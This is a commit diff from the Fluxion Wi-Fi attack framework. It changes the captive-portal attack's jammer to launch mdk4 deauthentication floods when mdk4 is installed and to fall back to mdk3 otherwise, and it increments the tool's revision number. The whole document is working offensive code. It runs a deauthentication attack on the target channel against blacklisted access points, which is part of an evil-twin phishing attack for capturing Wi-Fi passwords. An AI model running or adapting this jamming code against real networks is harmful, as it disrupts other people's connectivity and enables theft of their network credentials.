Use mdk4 if available for Captive Portal jamming
This commit is contained in:
parent
f116e5481c
commit
de71b4b548
|
@ -1500,11 +1500,22 @@ start_attack() {
|
||||||
# Save parent's pid, to get to child later.
|
# Save parent's pid, to get to child later.
|
||||||
CaptivePortalJammerServiceXtermPID=$!
|
CaptivePortalJammerServiceXtermPID=$!
|
||||||
else
|
else
|
||||||
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \
|
|
||||||
|
if ! [ -x "$(command -v mdk4)" ];then
|
||||||
|
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \
|
||||||
-title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \
|
-title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \
|
||||||
"mdk3 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" &
|
"mdk3 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" &
|
||||||
# Save parent's pid, to get to child later.
|
# Save parent's pid, to get to child later.
|
||||||
CaptivePortalJammerServiceXtermPID=$!
|
CaptivePortalJammerServiceXtermPID=$!
|
||||||
|
|
||||||
|
else
|
||||||
|
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \
|
||||||
|
-title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \
|
||||||
|
"mdk4 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" &
|
||||||
|
# Save parent's pid, to get to child later.
|
||||||
|
CaptivePortalJammerServiceXtermPID=$!
|
||||||
|
fi
|
||||||
|
|
||||||
fi
|
fi
|
||||||
|
|
||||||
echo -e "$FLUXIONVLine $CaptivePortalStartingAuthenticatorServiceNotice"
|
echo -e "$FLUXIONVLine $CaptivePortalStartingAuthenticatorServiceNotice"
|
||||||
|
|
|
@ -22,7 +22,7 @@ readonly FLUXIONNoiseFloor=-90
|
||||||
readonly FLUXIONNoiseCeiling=-60
|
readonly FLUXIONNoiseCeiling=-60
|
||||||
|
|
||||||
readonly FLUXIONVersion=5
|
readonly FLUXIONVersion=5
|
||||||
readonly FLUXIONRevision=6
|
readonly FLUXIONRevision=7
|
||||||
|
|
||||||
# Declare window ration bigger = smaller windows
|
# Declare window ration bigger = smaller windows
|
||||||
FLUXIONWindowRatio=4
|
FLUXIONWindowRatio=4
|
||||||
|
|
Loading…
Reference in New Issue